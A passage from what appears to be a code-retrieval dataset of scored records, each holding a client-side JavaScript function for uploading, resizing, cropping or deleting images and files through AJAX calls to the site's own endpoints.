canvas.width = tempW;\n canvas.height = tempH;\n var ctx = canvas.getContext(\"2d\");\n ctx.drawImage(this, 0, 0, tempW, tempH);\n var dataURL = canvas.toDataURL(\"image/jpeg\");\n \n /*\n var xhr = new XMLHttpRequest();\n xhr.onreadystatechange = function(ev){\n //document.getElementById('filesInfo').innerHTML = 'Done!';\n alert(\"Imagen guardada!\");\n if ( onEnd ) {\n onEnd('');\n }\n };\n \n xhr.open('POST', url, true);\n xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");\n var data = 'image=' + dataURL;\n xhr.send(data);\n */\n \n console.log('dataURL : ' + dataURL);\n var data = 'image=' + dataURL;\n $.post(url, {image:dataURL},function(data){\n if ( onEnd ) {\n onEnd(data);\n }\n });\n /*\n $.ajax({\n url: url,\n data: {\n 'image' : dataURL\n },\n cache: false,\n contentType: false,\n processData: false,\n type: 'POST',\n async: false,\n success: function(data){\n if ( onEnd ) {\n onEnd(data);\n }\n }\n });\n */\n }\n } // reader.onloadend\n reader.readAsDataURL(file);\n }", "title": "" }, { "docid": "acfd46bfbc681636cf2848748be3b706", "score": "0.62646157", "text": "function swfuploaderUploadComplete(fileObject) {\n\tswfuploaderUpdateProgressBar(fileObject.id,100);\n\tvar cell = dojo.byId('uploaderCancelCell-'+fileObject.id);\n\tcell.innerHTML = 'Finished uploading, now processing submission';\n\n\t// add a hidden field to the post data (to notify processing file)\n\tif (!dojo.byId('uploader_files_uploaded')) {\n\t\tvar workflowForm = dojo.byId('wfl_form1');\n\t\tvar filenameElement = document.createElement('input');\n\t\tfilenameElement.type = 'hidden';\n\t\tfilenameElement.id = 'uploader_files_uploaded';\n\t\tfilenameElement.name = 'uploader_files_uploaded';\n\t\tfilenameElement.value = xsdmfId;\n\t\tworkflowForm.appendChild(filenameElement);\n\t}\n\n if (required_xsd_display_fields_fileupload.length > 0){\n return checkUploadedFiles(document.getElementById('wfl_form1'), required_xsd_display_fields_fileupload);\n }\n}", "title": "" }, { "docid": "2cf87e4a85ad6589766f683f32e89f30", "score": "0.62624705", "text": "function goToNextImage(){\n $.ajax({\n url: URL + '/voting/emotion',\n data: JSON.stringify({\n user_name: user_name, \n current_id: item_id,\n direction: 'next',\n show: 'show_todo'//$('#show_image').val()\n }),\n contentType: \"application/json; charset=utf-8\",\n type: \"POST\",\n async: false,\n success: function(data){\n if (data == 'ALLDONE'){\n alert_done_all()\n }\n else if (data == 'EOF'){\n warning_prompt('沒有下一張了')\n }\n else if (data == 'BOF'){\n warning_prompt('沒有上一張了')\n }\n else{\n item_id = data.id\n item_name = data.name\n item_count = data.count\n loadImage() \n }\n },\n error:function(xhr, ajaxOptions, thrownError){ \n }\n });\n}", "title": "" }, { "docid": "f3014c7b193a3efbb3cd88a32ac4aff8", "score": "0.62378037", "text": "function uploadData(formdata){\r\n\r\n $.ajax({\r\n url: 'upload.php',\r\n type: 'post',\r\n data: formdata,\r\n contentType: false,\r\n processData: false,\r\n dataType: 'json',\r\n success: function(response){\r\n console.log(response);\r\n console.log(response.status);\r\n \r\n if(response.status==1){\r\n // //addThumbnail(response);\r\n $(\".upload-msg\").text(\"Uploaded successfully\");\r\n $('.upload-area').addClass(\"upload-msg-active\");\r\n window.location.replace(path_to_follow+\"preview.php\");\r\n }else if (response.status==2){\r\n $(\".upload-msg\").text(\"File is not uploaded\");\r\n }else if (response.status==3){\r\n $(\".upload-msg\").text(\"Only file with extension 'templatex' is allowed\");\r\n }else if(response.status ==4){\r\n $(\".upload-msg\").text(\"No file found to upload\");\r\n }\r\n }\r\n });\r\n\r\n}", "title": "" }, { "docid": "6451a4f26b5957fb067531eb34737eb6", "score": "0.6214959", "text": "function uploadFiles(event)\t{\n event.stopPropagation(); // Stop stuff happening\n event.preventDefault(); // Totally stop stuff happening\n\n $(\" #signup_user_image\").attr('src', \"../images/loading.gif\");\n $(\" #profile_user_image\").attr('src', \"../../../images/loading.gif\"); // START A LOADING SPINNER HERE\n\n // Create a formdata object and add the files\n var data = new FormData();\n\t\n $.each(files, function(key, value)\n {\n data.append(key, value);\n });\n var str = $(location).attr('href');\n var res = str.split(\"/\");\n // res[2] = www.sfsuswe.com\n // res[3] = ~fhahner\n var url = \"/\" + res[3] + \"/include/upload_user_picture.php?files\"; \n \n $.ajax({\n url: url,\n type: 'POST',\n data: data,\n cache: false,\n dataType: 'html',\n processData: false, // Don't process the files\n contentType: false, // Set content type to false as jQuery will tell the server its a query string request\n success: function(response)\n {\n console.log(\"returned image id is\" + response)\n $(\" #signup_image_id\").val(response);\n $(\" #signup_user_image\").attr('src', \"../images/\" + response + \"_SMALL.jpg\");\n $(\" #profile_user_image\").attr('src', \"../../../images/\" + response + \"_SMALL.jpg\");\n },\n error: function(jqXHR, textStatus, errorThrown)\n {\n // Handle errors here\n console.log('ERRORS: ' + textStatus);\n // STOP LOADING SPINNER\n }\n });\n }", "title": "" }, { "docid": "c6bb622ad0791f8b2d6f4c55bdc77056", "score": "0.62127507", "text": "function uploadImage(id){\n\t\n\t//creamos la variable Request \n\tif(window.XMLHttpRequest) {\n \t\tvar Req = new XMLHttpRequest(); \n \t}else if(window.ActiveXObject) { \n \t\tvar Req = new ActiveXObject(\"Microsoft.XMLHTTP\"); \n \t}\t\n\t\n\tvar data = new FormData(); \n\t\t\n\t//var ruta = new Array();\n\t\t\n\tif(document.getElementById('fileImagen').value != \"\"){\n\t\tvar archivos = document.getElementById(\"fileImagen\");//Damos el valor del input tipo file\n \t\tvar archivo = archivos.files; //obtenemos los valores de la imagen\n\t\tdata.append('ImageMax',archivo[0]);\n\t\truta = \"assets/img/app/deal/\";\n\t}\n\t\n\t//rutaJson = JSON.stringify(ruta);\n\tdata.append('ruta',ruta);\n\t\t\n\tdata.append('nameImage',$('#imagenName').val());\n\t\t\n\t//cargamos los parametros para enviar la imagen\n\tReq.open(\"POST\", \"promociones/subirImagen\", true);\n\t\t\n\t//nos devuelve los resultados\n\tReq.onload = function(Event) {\n\t\t\t//Validamos que el status http sea ok \n\tif (Req.status == 200) {\n \t \t//Recibimos la respuesta de php\n \t\tvar nameImage = Req.responseText;\n\t\t\tajaxSaveCoupon(nameImage,id);\n\t\t} else { \n \t\t\talert(Req.status); //Vemos que paso.\n\t\t} \t\n\t};\n\t\t\n\t//Enviamos la petición \n \tReq.send(data);\n}", "title": "" }, { "docid": "a0fbf073610bf7b595152691ff291bc4", "score": "0.6199934", "text": "function UploadBlankImage(imageId) {\n \n imageUrl = 'Handlers/SrcBlankImageHandler.ashx?imageid=' + imageId;\n jQuery.ajax({\n type: \"POST\",\n url: imageUrl,\n cache: false,\n data: {},\n contentType: \"application/json; charset=utf-8\",\n dataType: \"json\",\n success: function (response) {\n if (data.error != '') {\n alert(data.error);\n }\n }\n });\n }", "title": "" }, { "docid": "00a92239d9916baee61869b164c1849c", "score": "0.6195703", "text": "function onUploadComplete() {\n\t\ttotalUploaded += document.getElementById('files').files[filesUploaded].size;\n\t\tfilesUploaded++;\n\n\t\tif (filesUploaded < fileCount) {\n\t\t\tvar percentComplete = parseInt((totalUploaded * 100) / totalFileLength);\n\t\t\tvar bar = document.getElementById('bar');\n\t\t\tbar.style.width = percentComplete + '%';\n\t\t\tbar.innerHTML = percentComplete + ' % complete';\n\t\t\tuploadNext();\n\t\t} else {\n\t\t\tvar bar = document.getElementById('bar');\n\t\t\tbar.style.width = '100%';\n\t\t\tbar.innerHTML = '100% complete';\n\t\t\tdocument.getElementById('indexButton').removeAttribute('disabled');\n\t\t\tfillSelectForm(listSelectedFiles, listUploadedFiles, \"listUploadedFiles\");\n\t\t}\n\t\ttotalUploadedFiles += 1;\n\t\t$('#totalUploadedFiles').text(totalUploadedFiles);\n\t}", "title": "" }, { "docid": "7d830af7a8e0c1a189179331dbc5e696", "score": "0.61846143", "text": "onUploadComplete(){\n this.progressBarToggle(false)\n // esvazia o campo dos arquivos e limpa tb a progressBar\n this.inputFilesEl.value = ''\n //reabilita botão de envio de arquivos ao terminar os uploads\n this.btnSendFileEl.disabled = false\n }", "title": "" }, { "docid": "09c8bfd6cda6d9dbcdda2d12db864202", "score": "0.61812633", "text": "function ajaxFileUpload(rootServerPath, txtphotoUrlID, imgLoading, fileToUploadID, validatorPhotoUrl, imgPhoto, linAddPhoto, dontDeletePreImage, userFolder) {\r\n\r\n var fileToUpload = getNameFromPath($('#' + fileToUploadID).val());\r\n var filename = '';\r\n if (fileToUpload) {\r\n filename = fileToUpload.substr(0, (fileToUpload.lastIndexOf('.')));\r\n }\r\n\r\n if (validatorPhotoUrl) {\r\n $(validatorPhotoUrl).text('');\r\n $(validatorPhotoUrl).css(\"display\", \"none\");\r\n }\r\n\r\n if (checkFileExtension(fileToUpload, 'photo')) {\r\n\r\n var flag = true;\r\n if (filename != \"\" && filename != null) {\r\n if (flag == true) {\r\n $(\"#\" + imgLoading).bind(\"ajaxStart\", function () {\r\n $(\"#\" + imgLoading).css(\"display\", \"inline\");\r\n $('#' + fileToUploadID).attr(\"disabled\", \"disabled\");\r\n })\r\n\r\n var oldPath = '';\r\n if (dontDeletePreImage && $('#' + dontDeletePreImage).val() == \"0\") {\r\n oldPath = $('#' + txtphotoUrlID).val();\r\n }\r\n var url = rootServerPath + 'Handlers/FileUpload.ashx?oldPath=' + oldPath;\r\n\r\n if (userFolder) {\r\n url = url + '&userFolder=' + userFolder;\r\n }\r\n\r\n $.ajaxFileUpload({\r\n url: url,\r\n secureuri: false,\r\n fileElementId: fileToUploadID,\r\n dataType: 'json',\r\n\r\n success: function (data, status) {\r\n $(\"#\" + imgLoading).unbind(\"ajaxStart ajaxStop\");\r\n if (typeof (data.error) != 'undefined') {\r\n if (data.error != '') {\r\n\r\n showError(validatorPhotoUrl, data.error);\r\n } else {\r\n $('#' + fileToUploadID).val(\"\");\r\n var photoPath = data.serverpath + '/' + data.upfile;\r\n $('#' + txtphotoUrlID).val(photoPath);\r\n if (dontDeletePreImage)\r\n $('#' + dontDeletePreImage).val(\"0\");\r\n if (imgPhoto) {\r\n var imgUrl = rootServerPath + photoPath;\r\n $('#' + imgPhoto).attr('src', imgUrl);\r\n $('#' + imgPhoto).css('display', 'inline');\r\n }\r\n if (linAddPhoto)\r\n $('#' + linAddPhoto).text('Change photo');\r\n\r\n }\r\n }\r\n $(\"#\" + imgLoading).css(\"display\", \"none\");\r\n $('#' + fileToUploadID).removeAttr(\"disabled\");\r\n },\r\n error: function (data, status, e) {\r\n $(\"#\" + imgLoading).unbind(\"ajaxStart ajaxStop\");\r\n $(\"#\" + imgLoading).css(\"display\", \"none\");\r\n $('#' + fileToUploadID).removeAttr(\"disabled\");\r\n showError(validatorPhotoUrl, data.responseText);\r\n },\r\n\r\n });\r\n }\r\n else {\r\n $(\"#\" + imgLoading).css(\"display\", \"none\");\r\n $('#' + fileToUploadID).removeAttr(\"disabled\");\r\n showError(validatorPhotoUrl, 'file ' + filename + ' already exist');\r\n return false;\r\n }\r\n }\r\n }\r\n else {\r\n showError(validatorPhotoUrl, 'You can upload only files with the following extensions: jpg, jpeg, png, bmp, ico, eps, svg, tga, tiff, wbmp, webp');\r\n if (imgPhoto) {\r\n\r\n $('#' + imgPhoto).attr('src', '');\r\n $('#' + imgPhoto).css('display', 'none');\r\n }\r\n if (linAddPhoto)\r\n $('#' + linAddPhoto).text('Add photo');\r\n\r\n }\r\n return false;\r\n\r\n}", "title": "" }, { "docid": "3c4c941f9db0515ce19772db3c5f73cf", "score": "0.6169975", "text": "function allUploadsAreFinished() {\n\n // delete local file for uploading again which isn't necessary anymore after success\n Ti.Filesystem.getFile(Ti.Filesystem.applicationDataDirectory, 'lastimage').deleteFile();\n\n areAllUploadsFinished = true;\n checkIfBothAreFinished();\n}", "title": "" }, { "docid": "28193ff9a921423ff411c354689c95d4", "score": "0.61668175", "text": "function ajaxuploadcallback(counter){\n console.log('in ajaxuploadcallback');\n console.log('upload counter ',uploadcount);\n if(counter < uploadcount-1){\n counter++;\n console.log('conter=',counter);\n let startTime = new Date(Date.now());\n console.log('start time',startTime.getTime());\n ajaxupload(fdata.getAll('file')[counter], counter);\n }\n }", "title": "" }, { "docid": "43d6de4bef04a1c034cb261d1b585119", "score": "0.61642206", "text": "function _upload_job_pic_AJAX()\n{\n var action_url = base_url +'manage_job/upload_project_main_img_AJAX';\n optionsPopUpArr = {\n beforeSubmit: showBusyScreen, // pre-submit callback\n success: validatePortfolioMainPic, // post-submit callback\n url:\t\t action_url\n };\n\n $('#frm_add_edit').ajaxSubmit(optionsPopUpArr);\n\n return false;\n}", "title": "" }, { "docid": "85775b3abb4d83d0836031b318360f0b", "score": "0.61436486", "text": "function queueComplete(numFilesUploaded) { }", "title": "" }, { "docid": "e494a208dd8f272e23b7efc8457357ce", "score": "0.61435276", "text": "function imguplod(imgid){\r\n var triggerid=$('#customerstylepic'+imgid).trigger('click');\r\n var fileupload = document.getElementById('customerstylepic'+imgid);\r\n fileupload.onchange = function () {\r\n var customerstylepic = $('#customerstylepic'+imgid).val();\r\n var fd = new FormData();\r\n var files = $('#customerstylepic'+imgid)[0].files[0];\r\n // var base64ImageContent = files.replace(/^data:image\\/(png|jpg);base64,/, \"\");\r\n // var path = \"mobileimages/stitchstyle/\"+imgid+\".jpg\";\r\n fd.append('file',files);\r\n fd.append('imgname',imgid);\r\n fd.append('foldername',\"parent\");\r\n // fd.append('foldername',\"stitchstyle\");\r\n $.ajax({\r\n url:img_url,\r\n type:\"POST\",\r\n contentType: false,\r\n cache: false,\r\n processData:false,\r\n data: fd,\r\n dataType:'json',\r\n success:function(response){\r\n if(response['Responsecode']==200){\r\n swal(response['Message']);\r\n\r\n var output = document.getElementById('save'+imgid);\r\n output.src = URL.createObjectURL(files);\r\n }\r\n else{\r\n swal(response['Message']);\r\n }\r\n }\r\n });\r\n };\r\n}", "title": "" }, { "docid": "e16f7db79bb98e22870a7e8effb40423", "score": "0.6137053", "text": "function CallbackUpload(jsonRetorno) {\n \n var idFerramenta = jsonRetorno.idFerramenta;\n\n if( jsonRetorno.isbanner == true ){\n\n var idFerramentaTipo = 43;\n\n }\n else{\n var idFerramentaTipo = parseInt(jsonRetorno.idFerramentaTipo);\n }\n \n var idArquivo = jsonRetorno.arrayArquivo[0].id;\n var srcImagem = jsonRetorno.arrayArquivo[0].strDiretorio + \"/\" + jsonRetorno.arrayArquivo[0].strArquivo + jsonRetorno.arrayArquivo[0].strExtensao;\n\n if (idFerramentaTipo == idFerramentaBanner) { //Imagem do banner\n objetoImagemBanner = jQuery.extend({}, jsonRetorno.arrayArquivo[0]);\n $(classComp + '.upload_banner img').attr('src', objetoImagemBanner.strDiretorio + '/' + objetoImagemBanner.strThumbnail + objetoImagemBanner.strExtensao);\n $(classComp + '.upload_banner span:not(' + classComp + '.upload_banner .remover_multimidia_banner span)').hide();\n $(classComp + '.upload_banner .remover_multimidia_banner').show();\n $(classComp + '.upload_banner img').show();\n\n var linkBanner = $.trim($(classComp + \".url_banner input\").val());\n\n if (linkBanner != '') {\n $(\"#visualizarPost\" + idComp).removeClass(\"disable\").removeAttr(\"disabled\");\n } else {\n $(\"#visualizarPost\" + idComp).addClass(\"disable\").attr(\"disabled\", \"disabled\");\n }\n }else if (idFerramentaTipo == idFerramentaTipoTimeLine) { //Album timeline\n var auxImagens = [];\n var bolArquivoExiste = false;\n\n //Remove os arquivos desselecionados no upload\n if (objetoImagens.imagens != null) {\n for (var j in objetoImagens.imagens) {\n bolArquivoExiste = false;\n for (var i in jsonRetorno.arrayArquivo) {\n if (jsonRetorno.arrayArquivo[i].id == objetoImagens.imagens[j].idArquivo) {\n bolArquivoExiste = true;\n auxImagens.push(objetoImagens.imagens[j]);\n }\n }\n if (!bolArquivoExiste) {\n $('.dialogo_box .preview_post.imagens .prev_imagem').each(function () {\n if ($(this).data(\"idarquivo\") == objetoImagens.imagens[j].idArquivo) {\n $(this).remove();\n return false;\n }\n });\n }\n }\n $(\".dialogo_box .preview_post.imagens .engloba_classe\").mCustomScrollbar(\"update\");\n }\n\n objetoImagens.imagens = auxImagens;\n auxImagens = [];\n\n for (var i = 0; i < jsonRetorno.arrayArquivo.length; i++) {\n bolArquivoExiste = false;\n\n /*Só adiciona no array os arquivos recem selecionados, assim não faz uma nova ordem toda vez*/\n for (var j in objetoImagens.imagens) {\n if (objetoImagens.imagens[j].idArquivo == jsonRetorno.arrayArquivo[i].id) {\n bolArquivoExiste = true;\n break;\n }\n }\n\n if (!bolArquivoExiste) {\n var objImagem = {\n bolPaisagem: jsonRetorno.arrayArquivo[i].bolPaisagem,\n bolRetrato: jsonRetorno.arrayArquivo[i].bolRetrato,\n idArquivo: jsonRetorno.arrayArquivo[i].id,\n thumbnail: jsonRetorno.arrayArquivo[i].strThumbnail,\n arquivo: jsonRetorno.arrayArquivo[i].strArquivo,\n nome: jsonRetorno.arrayArquivo[i].strNome,\n descricao: jsonRetorno.arrayArquivo[i].strDescricao,\n diretorio: jsonRetorno.arrayArquivo[i].strDiretorio,\n extensao: jsonRetorno.arrayArquivo[i].strExtensao,\n altura: jsonRetorno.arrayArquivo[i].intAlturaImg,\n largura: jsonRetorno.arrayArquivo[i].intLarguraImg\n\n };\n\n objetoImagens.imagens.push(objImagem);\n auxImagens.push(objImagem);\n }\n }\n\n objetoImagens.imagens.sort(function (a, b) {\n if (b.largura > a.largura)\n return 1;\n return 0;\n });\n objetoImagens.imagens.sort(function (a, b) {\n if (a.largura == b.largura) {\n if (b.altura < a.altura) {\n return 1;\n }\n return -1;\n }\n return 0;\n });\n\n if (objetoImagens !== undefined && objetoImagens != null && objetoImagens.imagens.length > 0) {\n $(classComp + '.seletor_pagina').slideDown(200);\n $(classComp + '.sep_digala').slideDown(200);\n $('#ckBolComentar' + idComp).closest('.hab_comentario_post').show();\n $(\"#visualizarPost\" + idComp).removeClass(\"disable\").removeAttr(\"disabled\");\n $(\"#btnCancelarFerramentaMural\" + idComp).removeAttr(\"disabled\").removeClass(\"disable\");\n } else {\n $(\"#visualizarPost\" + idComp).addClass(\"disable\").attr(\"disabled\", \"disabled\");\n }\n\n if (auxImagens !== undefined && auxImagens != null && auxImagens.length > 0) {\n if (!$(classComp + \".dialogo_box .preview_post.imagens\").is(\":visible\")) {\n $(classComp + \".dialogo_box .preview_post.imagens\").show();\n }\n montaPreviewImagemMensagemRapida(auxImagens);\n if ($(classComp + \".mensagem_multimidia ul.right\").is(\":visible\")) {\n $(classComp + \".mensagem_multimidia ul.right\").hide();\n }\n }\n auxImagens.splice(0, auxImagens.length);\n auxImagens = null;\n } else if (idFerramentaTipo == idFerramentaTipoTimeLineFile) { // Arquivos timeline\n var auxFiles = [];\n\n //Remove os arquivos desselecionados no upload\n var bolArquivoExiste = false;\n if (objetoArquivos.arquivos != null) {\n for (var j in objetoArquivos.arquivos) {\n bolArquivoExiste = false;\n for (var i in jsonRetorno.arrayArquivo) {\n if (jsonRetorno.arrayArquivo[i].id == objetoArquivos.arquivos[j].idArquivo) {\n bolArquivoExiste = true;\n auxFiles.push(objetoArquivos.arquivos[j]);\n }\n }\n if (!bolArquivoExiste) {\n $('.dialogo_box .preview_post.arquivos .prev_documento').each(function () {\n if ($(this).parent().data(\"idarquivo\") == objetoArquivos.arquivos[j].idArquivo) {\n $(this).parent().remove();\n return false;\n }\n });\n }\n }\n $(\".dialogo_box .preview_post.arquivos \").mCustomScrollbar(\"update\");\n }\n\n objetoArquivos.arquivos = auxFiles;\n auxFiles = [];\n //Fim removendo \n\n for (var i = 0; i < jsonRetorno.arrayArquivo.length; i++) {\n //Evitando que arquivo seja adicionado com duplicidade\n bolArquivoExiste = false;\n if (objetoArquivos.arquivos != null && objetoArquivos.arquivos.length > 0) {\n for (var j in objetoArquivos.arquivos) {\n if (objetoArquivos.arquivos[j].idArquivo == jsonRetorno.arrayArquivo[i].id) {\n bolArquivoExiste = true;\n break;\n }\n }\n }\n\n if (!bolArquivoExiste) {\n var objFile = {\n idArquivo: jsonRetorno.arrayArquivo[i].id,\n arquivo: jsonRetorno.arrayArquivo[i].strArquivo,\n nome: jsonRetorno.arrayArquivo[i].strNome,\n descricao: jsonRetorno.arrayArquivo[i].strDescricao,\n diretorio: jsonRetorno.arrayArquivo[i].strDiretorio,\n extensao: jsonRetorno.arrayArquivo[i].strExtensao\n };\n\n if (objetoArquivos.arquivos != null && objetoArquivos.arquivos.length > 0) {\n var t = objetoArquivos.arquivos.length;\n var bolAdicionar = true;\n for (var o = 0; o < t; o++) {\n if (objetoArquivos.arquivos[o].idArquivo == objFile.idArquivo) {\n bolAdicionar = false;\n break;\n }\n }\n if (bolAdicionar) {\n objetoArquivos.arquivos.push(objFile);\n auxFiles.push(objFile);\n }\n } else {\n objetoArquivos.arquivos.push(objFile);\n auxFiles.push(objFile);\n }\n }\n }\n\n if (objetoArquivos !== undefined && objetoArquivos != null && objetoArquivos.arquivos.length > 0) {\n $(classComp + '.seletor_pagina').slideDown(200);\n $(classComp + '.sep_digala').slideDown(200);\n $('#ckBolComentar' + idComp).closest('.hab_comentario_post').show();\n $(\"#visualizarPost\" + idComp).removeClass(\"disable\").removeAttr(\"disabled\");\n $(\"#btnCancelarFerramentaMural\" + idComp).removeAttr(\"disabled\").removeClass(\"disable\");\n } else {\n $(\"#visualizarPost\" + idComp).addClass(\"disable\").attr(\"disabled\", \"disabled\");\n }\n\n if (auxFiles !== undefined && auxFiles != null && auxFiles.length > 0) {\n $(classComp + \".preview_post.arquivos\").show();\n montaPreviewFilesMensagemRapida(auxFiles);\n $(classComp + \".mensagem_multimidia ul.right\").hide();\n }\n auxFiles.splice(0, auxFiles.length);\n auxFiles = null;\n }\n}", "title": "" }, { "docid": "5cbe6894c030423e19ea680202746c2b", "score": "0.6136943", "text": "function uploadData(formdata){\n\n\t\t\t$.ajax({\n\t\t\t\turl: settings.url_save, \n\t\t\t\ttype: 'post',\n\t\t\t\tdata: formdata,\n\t\t\t\tcontentType: false,\n\t\t\t\tprocessData: false,\n\t\t\t\tdataType: 'json',\n\t\t\t\tsuccess: function(res){\n\t\t\t\t},\n\t\t\t\txhr: function(){\n\t\t\t\t\tvar xhr = $.ajaxSettings.xhr() ;\n\n\t\t\t\t\txhr.upload.onprogress = function(evt){ \n\t\t\t\t\t\ttotal = evt.loaded/evt.total*100;\n\t\t\t\t\t\t$('[role=\"progressbar\"]').css('width', parseInt(total) + '%').attr('aria-valuenow', parseInt(total)).text(parseInt(total) + ' %');\n\t\t\t\t\t};\n\t\t\t\t\txhr.upload.onload = function(){ \n\t\t\t\t\t\t$('#dropfile').css('border', '3px dashed #bbb');\n\t\t\t\t\t\t// getMedias();\n\t\t\t\t\t};\n\t\t\t\t\treturn xhr;\n\t\t\t\t}\n\t\t\t}).done(function(data){\n\t\t\t\tgetMedias();\n\t\t\t\tsetTimeout(function(){\n\t\t\t\t\t$('[role=\"progressbar\"]').css('width', '0%').attr('aria-valuenow', 0).text(' ');\n\t\t\t\t}, 1000);\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "056c670b4a0f85e058c5189d1e5544b6", "score": "0.6128736", "text": "function prepareUpload(e) {\n\t\tconsole.log(e.target.files[0]);\n\t\tvar blobFile = e.target.files[0];\n\t\t// $(\"form#upload_form\").submit();\n\t\t// console.log($(\"form#upload_form\"));\n\t\tvar fd = new FormData();\n\t console.log(JSON.stringify(fd));\n\t fd.append(\"userPhoto\", blobFile);\n\n $.ajax({\n url: '/upload/dropUpload',\n type: 'POST',\n data: fd,\n cache: false,\n dataType: 'json',\n processData: false, // Don't process the files\n contentType: false, // Set content type to false as jQuery will tell the server its a query string request\n success: function(data, textStatus, jqXHR)\n {\n if(typeof data.error === 'undefined')\n {\n // Success so call function to process the form\n alert('Picture Sent :D')\n\n // submitForm(event, data);\n }\n else\n {\n // Handle errors here\n console.log('ERRORS: ' + data.error);\n }\n },\n error: function(jqXHR, textStatus, errorThrown)\n {\n // Handle errors here\n console.log('ERRORS: ' + textStatus);\n // STOP LOADING SPINNER\n }\n });\n\t}", "title": "" }, { "docid": "dc6fcb0d5e9674677384ac62be11676a", "score": "0.61262494", "text": "function swfuploaderUploadLoaded() {}", "title": "" }, { "docid": "dd610aefd82e7e96fc01aa883926fded", "score": "0.6123219", "text": "function deleteimage23(large_image, thumbnail_image)\n{\n\tloadingmessage('Please wait, deleting images...', 'show');\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: image_handling_file,\n\t\tdata: 'a=delete&large_image='+large_image+'&thumbnail_image='+thumbnail_image,\n\t\tcache: false,\n\t\tsuccess: function(response)\n\t\t{\n\t\t\t$('#nome_img_cropada23').val('');\n\t\t\t$('#nome_img23').val('');\n\t\t\tloadingmessage('', 'hide');\n\t\t\tresponse = unescape(response);\n\t\t\tvar response = response.split(\"|\");\n\t\t\tvar responseType = response[0];\n\t\t\tvar responseMsg = response[1];\n\t\t\tif(responseType==\"success\")\n\t\t\t{\n\t\t\t\t$('#upload_status23').show().html('<h1>Success</h1><p>'+responseMsg+'</p>');\n\t\t\t\t$('#uploaded_image23').html('');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$('#upload_status23').show().html('<h1>Unexpected Error</h1><p>Please try again</p>'+response);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "6d37f17b718cce4e7c1bdbe963f8acf8", "score": "0.6118033", "text": "function uploadImgToServer(imgId, imgExt){\n var file_data = $('#addImage').prop('files')[0]; \n var form_data = new FormData(); \n form_data.append(\"file\", file_data);\n form_data.append(\"imageId\", imgId);\n form_data.append(\"imageExt\", imgExt);\n $.ajax({\n url: \"add_image.php\",\n type: \"POST\",\n data: form_data,\n contentType: false,\n cache: false,\n processData:false,\n success: function(data){\n console.log(data);\n }\n });\n}", "title": "" }, { "docid": "c22b36d4e5faf22c85827181abe6a8b7", "score": "0.61156285", "text": "function postStep1(e,data ){\n var result = JSON.parse(data.result);\n\n if(!result.success){\n utilities.notify(\n \"Profile photo upload error\",\n result.message,\n \"error\"\n )\n } else {\n\n ga('send','event', 'Profile Photo Upload',\"Step 1 Completed\");\n // Image uploaded. Load the crop plugin\n var imgUrl = result.message.imgUrl;\n $(\"<img src='\" + imgUrl+\"' id='\" + cropProfilePicSettings.imgDiv + \"'/>\").load(function() {\n // Hide the spinner\n hideSpinner();\n \n // Show the image\n $(this).appendTo(cropProfilePicSettings.modal + \" .modal-body\");\n $('#'+cropProfilePicSettings.imgDiv).Jcrop({\n minSize: [200,200],\n maxSize: [800,800],\n bgColor: 'black',\n boxWidth: 400,\n bgOpacity: .4,\n aspectRatio: 1,\n setSelect: [0,0,400,400],\n onSelect: showCoords,\n onChange: showCoords\n },function(){\n jcropApi = this;\n });\n });\n }\n }", "title": "" }, { "docid": "e926c82eb45890d5aba7c798ced64efd", "score": "0.6111943", "text": "function stateChangeLast(event) {\n\t if (event.target.readyState == 4) {\n\t if (event.target.status == 200) {\n\t dropZone.text('upload was successful!');\n\t setTimeout(getToNormal, 3000);\n\t } else {\n\t dropZone.text('error!');\n\t dropZone.addClass('error');\n\t \t\t\tsetTimeout(getToNormal, 3000);\n\t }\n\t }\n\t}", "title": "" }, { "docid": "f92fc6a373b295c510c9333a99ec15d3", "score": "0.6111881", "text": "function up_load_Next() {\n\tvar _xhr = new XMLHttpRequest();\n\tvar _fd = new FormData();\n\tvar file = document.getElementById('files').files[files_Uploaded];\n\t_fd.append(\"multipartFile\", file);\n\t_xhr.upload.addEventListener(\"progress\", on_Upload_Progress, false);\n\t_xhr.addEventListener(\"load\", on_Upload_Complete, false);\n\t_xhr.addEventListener(\"error\", on_Upload_Failed, false);\n\t_xhr.open(\"POST\", \"upload\");\n console.log(\"fd\", file);\n_xhr.send(fd);\n}", "title": "" }, { "docid": "46f064a02b41c61f9ce1d7bf75a698b9", "score": "0.60984236", "text": "function uploadProductImages() { \n\t\t\n\t\t\t$( \"#load\" ).show();\n\t\t\t\n\t\t\tvar form = new FormData(document.getElementById('upload_product_images'));\n\t\t\t\n\t\t\tvar validate_url = $('#upload_product_images').attr('action');\n\t\t\t\n\t\t\t$.ajax({\n\t\t\t\ttype: \"POST\",\n\t\t\t\turl: validate_url,\n\t\t\t\t//data: dataString,\n\t\t\t\tdata: form,\n\t\t\t\t//dataType: \"json\",\n\t\t\t\tcache : false,\n\t\t\t\tcontentType: false,\n\t\t\t\tprocessData: false,\n\t\t\t\tsuccess: function(data){\n\n\t\t\t\t\tif(data.success == true){\n\n\t\t\t\t\t\t//$('input[type=file]').fieldValue('');\n\t\t\t\t\t\t//$(\"#portfolio_id\").val('');\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$(\"html, body\").animate({ scrollTop: 0 }, \"slow\");\t\t\t\t\t\n\t\t\t\t\t\t//$(\"#addImagesModal\").modal('hide');\n\t\t\t\t\t\t$( \"#load\" ).hide();\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t$(\".image_name\").html('');\n\t\t\t\t\t\t\n\t\t\t\t\t\t$(\"#alert-msg\").html(data.notif);\n\t\t\t\t\t\t$(\"#gallery-edit\").html(data.image_group);\n\t\t\t\t\t\t$(\"#images_count\").html(data.images_count);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//window.location.reload(true);\n\t\t\t\t\t\t//setTimeout(function() { \n\t\t\t\t\t\t\t//$(\"#alert-msg\").hide(600);\n\t\t\t\t\t\t//\t$('#alert-msg').slideUp({ opacity: \"hide\" }, \"slow\");\n\t\t\t\t\t\t\t//window.location.reload(true);\n\t\t\t\t\t\t//}, 5000);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$(\".image_name\").html('');\n\t\t\t\t\t\t$(\".upload-gallery\").html('');\n\t\t\t\t\t\t\n\t\t\t\t\t\t$(\".input_fields_wrap\").html('<div class=\"form-group\"><span class=\"btn 